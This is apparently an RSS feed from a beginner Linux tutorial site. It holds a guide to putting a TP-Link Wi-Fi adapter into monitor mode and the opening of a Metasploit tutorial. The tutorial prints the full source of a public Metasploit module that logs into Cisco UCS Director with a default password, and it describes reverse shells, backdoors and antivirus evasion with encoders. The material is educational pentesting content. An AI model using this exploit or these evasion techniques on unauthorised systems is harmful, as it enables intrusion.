<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pentesting &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/category/pentesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 18:38:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>Pentesting &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>How to Enable Monitor Mode on TP-LINK TL-WN722N V2/V3</title>
		<link>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/</link>
					<comments>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 19:53:46 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3672</guid>

					<description><![CDATA[In this tutorial we&#8217;ll enable monitor mode on a TP-LINK TL-WN722N V2/V3 wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In this tutorial we&#8217;ll enable monitor mode on a <a href="https://www.tp-link.com/us/home-networking/usb-adapter/tl-wn722n/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N V2/V3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. </p>



<p>Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can&#8217;t enable it on V2/V3. You can, however.</p>



<p>To start off, if you&#8217;re using a virtual machine, first you&#8217;ll have to connect your <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">wireless adapter to your Kali Linux virtual machine</a>.</p>



<h2 id="set-up-the-adapter" class="wp-block-heading">Set up the Adapter</h2>



<p>Next, we&#8217;ll run some commands to set up the adapter.</p>



<p>First update and upgrade your package index.</p>



<pre class="wp-block-preformatted promptkali">sudo apt update &amp;&amp; sudo apt upgrade</pre>



<p>Reboot your machine.</p>



<pre class="wp-block-preformatted promptkali">sudo reboot</pre>



<p>Install Linux headers for your Kali Linux.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install linux-headers-$(uname -r)
</pre>



<p>Run the following commands to install the <code>bc</code> package and remote the <code>r8188eu.ko</code> module.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install bc</pre>
<pre class="wp-block-preformatted promptkali">sudo rmmod r8188eu.ko</pre>



<p>Clone the Realtek driver from the <code>aircrack-ng</code> Github repository.</p>



<pre class="wp-block-preformatted promptkali">git clone https://github.com/aircrack-ng/rtl8188eus</pre>



<p>Run the following commands.</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">sudo -i</pre>
<pre class="wp-block-preformatted promptkali">echo "blacklist r8188eu" &gt; "/etc/modprobe.d/realtek.conf"</pre>
<pre class="wp-block-preformatted promptkali">exit</pre>
<pre class="wp-block-preformatted promptkali">reboot</pre>



<p>After the reboot run the following commands (we have to <code>cd</code> back into the <code>rtl8188eus</code> directory that we cloned earlier):</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">make</pre>
<pre class="wp-block-preformatted promptkali">sudo make install</pre>
<pre class="wp-block-preformatted promptkali">sudo modprobe 8188eu</pre>



<h2 id="enable-monitor-mode" class="wp-block-heading">Enable Monitor Mode</h2>



<p>To enable monitor mode, run the following commands:</p>



<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 down</pre>
<pre class="wp-block-preformatted promptkali">sudo airmon-ng check kill</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig wlan0 mode monitor</pre>
<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 up</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig</pre>



<p>Here&#8217;s the output you should be seeing. You can see that the adapter is set to <code>Mode: Monitor</code>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="910" height="299" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png" alt="" class="wp-image-3675" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png 910w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-300x99.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-768x252.png 768w" sizes="(max-width: 910px) 100vw, 910px" /></figure>



<h3 id="troubleshooting-when-enabling-monitor-mode" class="wp-block-heading">Troubleshooting When Enabling Monitor Mode</h3>



<p>In some cases it doesn&#8217;t work right away. For example you may get the error <code>Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.</code></p>



<p>The solution that has worked for me every time is the following (credit to this <a href="https://github.com/mfruba/kernel/issues/28#issuecomment-742997493" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Github user&#8217;s comment<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Run the following commands in this order:</p>



<pre class="wp-block-code"><code>sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up</code></pre>



<p>Now when you check <code>iwconfig</code> you should see the adapter is in monitor mode.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="909" height="643" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png" alt="" class="wp-image-3680" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png 909w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-300x212.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-768x543.png 768w" sizes="(max-width: 909px) 100vw, 909px" /></figure>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don&#8217;t hesitate to leave a comment. Hope this helped. Thank you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/feed/</wfw:commentRss>
			<slash:comments>35</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3672</post-id>	</item>
		<item>
		<title>Metasploit Tutorial for Beginners &#8211; Basics to Advanced</title>
		<link>https://nooblinux.com/metasploit-tutorial/</link>
					<comments>https://nooblinux.com/metasploit-tutorial/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 07 Feb 2022 07:38:00 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3536</guid>

					<description><![CDATA[Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. </p>



<p>If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system vulnerabilities, use existing exploits to penetrate the system, helps create your own exploits, and much more. </p>



<p>In this tutorial, we’ll be covering the basics of Metasploit Framework in detail and show you real examples of how to use this powerful tool to the fullest. </p>






<h1 id="installing-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.gjdgxs"></a>Installing Metasploit</h1>



<p>Metasploit is available for Windows and Linux OS, and you can download the source files from the official repository of the tool in Github. If you are running any OS designed for penetration testing, e.g., Kali Linux, it will be pre-installed in your system. We’ll be covering how to use Metasploit Framework version 6 on Kali Linux. However, the basics will remain the same wherever you’re using Metasploit. </p>



<h2 id="installing-metasploit-on-linux" class="wp-block-heading"><a id="post-3536-_heading=h.30j0zll"></a>Installing Metasploit on Linux</h2>



<p>To install Metasploit in Linux you have to get the package <strong>metasploit-framework</strong>. On Debian and Ubuntu based Linux distros, you can use the apt utility: </p>



<pre class="wp-block-code prompt"><code>apt install metasploit-framework</code></pre>



<p>   On CentOS/Redhat you can the yum utility to do the same: </p>



<pre class="wp-block-preformatted promptrhel">yum install metasploit-framework</pre>



<h2 id="find-out-the-version-of-metasploit-and-updating" class="wp-block-heading"><a id="post-3536-_heading=h.1fob9te"></a>Find out the version of Metasploit and updating</h2>



<p>   If you’re not sure if you have Metasploit or not, you can confirm by typing <code>msfconsole</code> in your terminal: </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code"><code> _                                                    _
/ \    /\         __                         _   __  /_/ __                                                                                                                                                      
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \                                                                                                                                                     
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|                                                                                                                                                    
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_                                                                                                                                                    
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\                                                                                                                                                   
                                                                                                                                                                                                                 

       =&#091; metasploit v6.1.27-dev                          ]
+ -- --=&#091; 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=&#091; 596 payloads - 45 encoders - 10 nops            ]
+ -- --=&#091; 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x</code></pre>



<p class="has-palette-color-4-color has-text-color has-background" style="background-color:#000000"><strong>Metasploit Tip</strong>: Start commands with a space to avoid saving them to history </p>



<p>As you can see my machine already has Metasploit Framework installed. </p>



<p>Metasploit changes its greeting messages every time you fire up the Metasploit Framework with the <code>msfconsole</code> command, so you might see a different greeting message when you run it.</p>



<p>You can also find out which version is installed once the program loads. Type in <code>version</code> and hit enter to get the answer: </p>



<pre class="wp-block-code promptmsf6"><code>version</code></pre>



<pre class="wp-block-code"><code>Framework: 6.1.27-dev
Console  : 6.1.27-dev</code></pre>



<p>I am using version 6. If you haven’t updated your Metasploit anytime soon, it’s a good idea to update it before starting to use it. This is because if the tool is old then the updated exploits will not get added to the database of your Metasploit Framework. You can update the program by the <code>msfupdate</code> command: </p>



<p>
  msf6 &gt; msfupdate
</p>



<p>
  [*] exec: msfupdate
</p>



<p>
  msfupdate is no longer supported when Metasploit is part of the operating
</p>



<p>
  system. Please use &#8216;apt update; apt install metasploit-framework&#8217;
</p>



<p>As you can see the <code>msfupdate</code> command is not supported. This happened because Metasploit is already a part of the operating system in the Kali Linux updated versions. If you’re using older versions of the Kali Linux, this command will work fine for your system. </p>



<p>Now that you know how to install and update the Metasploit framework, let’s begin learning some of the basics related to Metasploit. </p>



<h1 id="basics-of-penetration-testing" class="wp-block-heading"><a id="post-3536-_heading=h.3znysh7"></a>Basics of Penetration testing</h1>



<p>Before we begin, let’s familiarize ourselves with some of the steps of a penetration test briefly. If you’re already familiar with the concept then you can just skip ahead to the good part. Let’s list some of the fundamental steps in penetration testing: </p>



<ol class="wp-block-list"><li>Information Gathering / Reconnaissance    </li><li>Vulnerability Analysis   </li><li>Exploitation   </li><li>Post Exploitation   </li><li>Report   </li></ol>



<h3 id="1-information-gathering-reconnaissance" class="wp-block-heading"><a id="post-3536-_heading=h.2et92p0"></a>1. Information gathering / Reconnaissance</h3>



<p>At the very beginning of any penetration testing, information gathering is done. The more information you can gather about the target, the better it will be for you to know the target system and use the information later in the process. Information may include crucial information like the open ports, running services, or general information such as the domain name registration information. Various techniques and tools are used for gathering information about the target such as – <strong>nmap</strong>, <strong>zenmap</strong>, <strong>whois</strong>, <strong>nslookup</strong>, <strong>dig</strong>, <strong>maltego</strong>, etc.  </p>



<p>One of the most used tools for information gathering and scanning is the <code>nmap</code> or <strong>Network Mapper</strong> utility. For a comprehensive tutorial for information gathering and <code>nmap</code> which you can check out from <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h3 id="2-vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.tyjcwt"></a>2. Vulnerability Analysis</h3>



<p>In this step, the potential vulnerabilities of the target are analyzed for further actions. Not all the vulnerabilities are of the same level. Some vulnerabilities may give you entire access to the system once exploited while some may only give you some normal information about the system. The vulnerabilities that might lead to some major results are the ones to go forward with from here. This is the step where Metasploit gives you a useful database to work with. </p>



<h3 id="3-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.3dy6vkm"></a>3. Exploitation</h3>



<p>After the identified vulnerabilities have been analyzed, this is the step to take advantage of the vulnerabilities. </p>



<p>In this step, specific programs/exploits are used to attack the machine with the vulnerabilities. </p>



<p>You might wonder, <em><span style="text-decoration: underline;">where do these exploits come from</span></em>? </p>



<p>Exploits come from many sources. One of the primary source is the vulnerability and exploit researchers. People do it because there is a lot at stake here i.e., there may be huge sums of money involved as a bounty. </p>



<p>Now, you may ask if the vulnerabilities are discovered, aren’t those application already fixed? The answer is yes, they are. But the fix comes around in the next update of the application. </p>



<p>Those who are already using the outdated version might not get the update and remains vulnerable to the exploits. The Metasploit Framework is the most suitable tool for this step. It gives you the option to choose from thousands of exploits and use them directly from the Metasploit console. New exploits are updated and incorporated in Metasploit regularly. You may also add some other exploits from online exploit databases like <a href="https://www.exploit-db.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Exploit-DB<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<p>Further, not all the exploits are ready-made for you to use. Sometimes you might have to craft your own exploit to evade security systems and intrusion detection systems. Metasploit also has different options for you to explore on this regard. </p>



<h3 id="4-post-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.1t3h5sf"></a>4. Post Exploitation</h3>



<p>This is the step after you’ve already completed exploiting the target system. You’ve got access to the system and this is where you will decide what to do with the system. You may have got access to a low privilege user. You will try to escalate your privilege in this step. You may also keep a backdoor the victim machine to allow yourself to enter the system later whenever you want. Metasploit has numerous functionalities to help you in this step as well. </p>



<h3 id="5-report" class="wp-block-heading"><a id="post-3536-_heading=h.4d34og8"></a>5. Report</h3>



<p>This is the step that many penetration testers will have to complete. After carrying out their testing, the company or the organization will require them to write a detailed report about the testing and improvement to be done. </p>



<p>Now, after the long wait, let’s get into the basics of the actual program – Metasploit Framework. </p>



<h1 id="basics-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.2s8eyo1"></a>Basics of Metasploit Framework</h1>



<p>In this section, we’ll learn all the basics related to Metasploit Framework. This will help us understand the terminologies related to the program and use the basic commands to navigate through. </p>



<h2 id="modules-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.17dp8vu"></a>Modules of Metasploit Framework</h2>



<p>As discussed earlier, Metasploit can be used in most of the penetration testing steps. The core functionalities that Metasploit provides can be summarized by some of the modules: </p>



<ol class="wp-block-list"><li>Exploits   </li><li>Payloads   </li><li>Auxiliaries   </li><li>Encoders   </li></ol>



<p>Now we’ll discuss each of them and explain what they mean. </p>



<h3 id="1-exploits" class="wp-block-heading"><a id="post-3536-_heading=h.3rdcrjn"></a>1. Exploits</h3>



<p>Exploit is the program that is used to attack the vulnerabilities of the target. There is a large database for exploits on Metasploit Framework. You can search the database for the exploits and see the information about how they work, the time they were discovered, how effective they are, and so on. </p>



<h3 id="2-payloads" class="wp-block-heading"><a id="post-3536-_heading=h.26in1rg"></a>2. Payloads</h3>



<p>Payloads perform some tasks after the exploit runs. There are different types of payloads that you can use. For example, you could use the reverse shell payload, which basically generates a <strong>shell</strong>/<strong>terminal</strong>/<strong>cmd </strong>in the victim machine and connects back to the attacking machine. </p>



<p>Another example of a payload would be the bind shell. This type of shell creates a listening port on the victim machine, to which the attacker machine then connects. The advantage of a reverse shell over the bind shell is that the majority of the system firewalls generally do not block the outgoing connections as much as they block the incoming ones.  </p>



<p>Metasploit Framework has a lot of options for payloads. Some of the most used ones are the reverse <strong>shell</strong>, <strong>bind shell</strong>, <strong>meterpreter</strong>, etc. </p>



<h3 id="3-auxiliaries" class="wp-block-heading"><a id="post-3536-_heading=h.lnxbz9"></a>3. Auxiliaries</h3>



<p>These are the programs that do not directly exploit a system. Rather they are built for providing custom functionalities in Metasploit. Some auxiliaries are sniffers, port scanners, etc. These may help you scan the victim machine for information gathering purposes. For example, if you see a victim machine is running <strong>ssh</strong> service, but you could not find out what version of <strong>ssh</strong> it is using &#8211; you could scan the port and get the version of <strong>ssh</strong> using auxiliary modules. </p>



<h3 id="4-encoders" class="wp-block-heading"><a id="post-3536-_heading=h.35nkun2"></a>4. Encoders</h3>



<p>Metasploit also provides you with the option to use encoders that will encrypt the codes in such a way that it becomes obscure for the threat detection programs to interpret. They will self decrypt and become original codes when executed. However, the encoders are limited and the anti-virus has many signatures of them already in their databases. So, simply using an encoder will not guarantee anti-virus evasion. You might get past some of the anti-viruses simply using encoders though. You will have to get creative and experiment changing the payload so it does not get detected. </p>



<h2 id="components-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.1ksv4uv"></a>Components of Metasploit Framework</h2>



<p>Metasploit is open-source and it is written in Ruby. It is an extensible framework, and you can build custom features of your likings using Ruby. You can also add different plugins. At the core of the Metaslpoit framework, there are some key components: </p>



<ol class="wp-block-list"><li>msfconsole   </li><li>msfdb   </li><li>msfvenom   </li><li>meterpreter   </li></ol>



<p>Let’s talk about each of these components. </p>



<h3 id="1-msfconsole" class="wp-block-heading"><a id="post-3536-_heading=h.44sinio"></a>1. msfconsole</h3>



<p>This is the command line interface that is used by the Metasploit Framework. It enables you to navigate through all the Metasploit databases at ease and use the required modules. This is the command that you entered before to get the Metasploit console. </p>



<h3 id="2-msfdb" class="wp-block-heading"><a id="post-3536-_heading=h.2jxsxqh"></a>2. msfdb</h3>



<p>Managing all the data can become a hurdle real quick, which is why Metasploit Framework gives you the option to use PostgreSQL database to store and access your data quickly and efficiently. For example, you may store and organize your scan results in the database to access them later. You can take a look at this tutorial to learn more about this tool &#8211; <a href="https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://null-byte.wonderhowto.com/how-to/use-metasploits-database-stay-organized-store-information-while-hacking-0192643/<span class="wpel-icon wpel-image wpel-icon-19"></span></a> </p>



<h3 id="3-msfvenom" class="wp-block-heading"><a id="post-3536-_heading=h.z337ya"></a>3. msfvenom</h3>



<p>This is the tool that mimics its name and helps you create your own payloads (venoms to inject in your victim machine). This is important since your payload might get detected as a threat and get deleted by threat detection software such as anti-viruses or anti-malware. </p>



<p>This happens because the threat detection systems already has stored fingerprints of many malicious payloads. There are some ways you can evade detection. We’ll discuss this in the later section dedicated to <code>msfvenom</code>. </p>



<h3 id="4-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3j2qqm3"></a>4. meterpreter</h3>



<p><code>meterpreter</code> is an advanced payload that has a lot of functionalities built into it. It communicates using encrypted packets. Furthermore, <strong>meterpreter</strong> is quite difficult to trace and locate once in the system. It can capture screenshots, dump password hashes, and many more. </p>



<h2 id="metasploit-location-on-the-drive" class="wp-block-heading"><a id="post-3536-_heading=h.1y810tw"></a>Metasploit location on the drive</h2>



<p>Metasploit Framework is located in <strong>/usr/share/metasploit-framework/</strong> directory. You can find out all about its components and look at the exploit and payload codes. You can also add your own exploits here to access it from the Metasploit console.  </p>



<p>Let’s browse through the Metasploit directory: </p>



<pre class="wp-block-code prompt"><code>cd /usr/share/metasploit-framework</code></pre>



<p>Type in <code>ls</code> to see the contents of the directory: </p>



<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>app                           msfconsole       Rakefile
config                        msfd             ruby
data                          msfdb            script-exploit
db                            msf-json-rpc.ru  script-password
documentation                 msfrpc           script-recon
Gemfile                       msfrpcd          scripts
Gemfile.lock                  msfupdate        tools
lib                           msfvenom         vendor
metasploit-framework.gemspec  msf-ws.ru
modules                       plugins</code></pre>



<p>As you can see, there is a directory called modules, which should contain the exploits, payloads, auxiliaries, encoders, as discussed before. Let’s get into it: </p>



<pre class="wp-block-code prompt"><code>cd modules</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>auxiliary  encoders  evasion  exploits  nops  payloads  post</code></pre>



<p>All the modules discussed are present here. However, <code>evasion</code>, <code>nops</code>, and <code>post</code> are the additional entries. The <code>evasion</code> module is a new entry to the Metasploit Framework, which helps create payloads that evade anti-virus (AV) detection. <code>Nop</code> stands for <strong>no operation</strong>, which means the CPU will just move to the next operation. <code>Nops</code> help create randomness in the payload &#8211; as adding them does not change the functionality of the program. </p>



<p>Finally, the post module contains some programs that you might require post-exploitation. For example, you might want to discover if the host you exploited is a Virtual Machine or a Physical Computer. You can do this with the <code>checkvm</code> module found in the post category. Now you can browse all the exploits, payloads, or others and take a look at their codes. Let’s navigate to the exploits directory and select an exploit. Then we’ll take a look at the codes of that exploit. </p>



<pre class="wp-block-code prompt"><code>cd exploits</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>aix        dialup                     firefox  mainframe  qnx
android    example_linux_priv_esc.rb  freebsd  multi      solaris
apple_ios  example.py                 hpux     netware    unix
bsd        example.rb                 irix     openbsd    windows
bsdi       example_webapp.rb          linux    osx</code></pre>



<p>
  What you’re seeing now are the categories of the exploits. For example, the linux directory contains all the exploits that are available for Linux systems.
</p>



<pre class="wp-block-code prompt"><code>cd linux</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>antivirus  games  imap   mysql     pptp   samba  ssh
browser    http   local  pop3      proxy  smtp   telnet
ftp        ids    misc   postgres  redis  snmp   upnp</code></pre>



<p>
  Let’s take a look at the exploits for ssh.
</p>



<pre class="wp-block-code prompt"><code>cd ssh</code></pre>
<pre class="wp-block-code prompt"><code>ls</code></pre>



<pre class="wp-block-code"><code>ceragon_fibeair_known_privkey.rb
cisco_ucs_scpuser.rb
exagrid_known_privkey.rb
f5_bigip_known_privkey.rb
ibm_drm_a3user.rb
loadbalancerorg_enterprise_known_privkey.rb
mercurial_ssh_exec.rb
microfocus_obr_shrboadmin.rb
quantum_dxi_known_privkey.rb
quantum_vmpro_backdoor.rb
solarwinds_lem_exec.rb
symantec_smg_ssh.rb
vmware_vdp_known_privkey.rb
vyos_restricted_shell_privesc.rb</code></pre>



<p>As you can see, all the exploits are written in Ruby, and thus, the extension of the files is <code>.rb</code>. Now let’s look at the code of a specific exploit using the <code>cat</code> command, which outputs the content directly on the terminal: </p>



<pre class="wp-block-code prompt"><code>cat cisco_ucs_scpuser.rb</code></pre>



<pre class="wp-block-code"><code>##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; "Cisco UCS Director default scpuser password",
      'Description'    =&gt; %q{
        This module abuses a known default password on Cisco UCS Director. The 'scpuser'
        has the password of 'scpuser', and allows an attacker to login to the virtual appliance
        via SSH.
        This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
        UCS Director Express are also affected by these vulnerabilities, but this module
        was not tested with those products.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        &#091;
          'Pedro Ribeiro &lt;pedrib&#091;at]gmail.com&gt;'        # Vulnerability discovery and Metasploit module
        ],
      'References'     =&gt;
        &#091;
          &#091; 'CVE', '2019-1935' ],
          &#091; 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          &#091; 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          &#091; 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
        ],
      'DefaultOptions'  =&gt;
        {
          'EXITFUNC' =&gt; 'thread'
        },
      'Payload'        =&gt;
        {
          'Compat' =&gt; {
            'PayloadType'    =&gt; 'cmd_interact',
            'ConnectionType' =&gt; 'find'
          }
        },
      'Platform'       =&gt; 'unix',
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        &#091;
          &#091; 'Cisco UCS Director &lt; 6.7.2.0', {} ],
        ],
      'Privileged'     =&gt; false,
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; '2019-08-21'
    ))

    register_options(
      &#091;
        Opt::RPORT(22),
        OptString.new('USERNAME', &#091;true,  "Username to login with", 'scpuser']),
        OptString.new('PASSWORD', &#091;true,  "Password to login with", 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      &#091;
        OptBool.new('SSH_DEBUG', &#091;false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', &#091;false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore&#091;'RHOST']
  end

  def rport
    datastore&#091;'RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    =&gt; &#091;'password', 'keyboard-interactive'],
      :port            =&gt; rport,
      :use_agent       =&gt; false,
      :config          =&gt; false,
      :password        =&gt; pass,
      :proxy           =&gt; factory,
      :non_interactive =&gt; true,
      :verify_host_key =&gt; :never
    }

    opts.merge!(:verbose =&gt; :debug) if datastore&#091;'SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore&#091;'SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception =&gt; e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore&#091;'USERNAME']
    pass = datastore&#091;'PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end
</code></pre>



<p>You can see the code for the exploit is shown here. The green marked section is the description of the exploit and the yellow marked portion is the options that can be set for this exploit. </p>



<p>The description reveals what function this exploit will perform. As you can see, it exploits a known vulnerability of <strong>Cisco UCS Director</strong>. The vulnerability is the default password of the machine, which, if unchanged, may be used to gain access to the system. If you are someone who knows Ruby and has a good grasp of how the vulnerability works, you can modify the code and create your own version of the exploit. That’s the power of the Metasploit Framework. </p>



<p>In this way, you can also find out what payloads are there in your Metasploit Framework, add your own in the directory, and modify the existing ones. </p>



<h1 id="basic-commands-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.4i7ojhp"></a>Basic commands of Metasploit Framework</h1>



<p>Now let’s move on to the fun stuff. In this section, we’ll talk about some of the basic Metasploit commands that you’re going to need all the time. </p>



<p>Fire up the Metasploit console by typing in <code>msfconsole</code>. Now you will see <code>msf6 &gt;</code> indicating you’re in the interactive mode. </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code promptmsf6"><code></code></pre>



<p>I have the msf6 shown here, where 6 represents the version of the framework and console. You can execute regular terminal commands from here as well, which means you don’t have to exit out of Metasploit Framework to perform some other tasks, making it super convenient. Here’s an example –    msf6 &gt; ls </p>



<pre class="wp-block-code"><code>&#091;*] exec: ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos</code></pre>



<p>The <code>ls</code> command works as it is intended to. You can use the help command to get a list of commands and their functions. Metasploit has very convenient help descriptions. They are divided into categories and easy to follow. </p>



<pre class="wp-block-code promptmsf6"><code>help</code></pre>



<p>Now, let’s take a look at some important commands.</p>



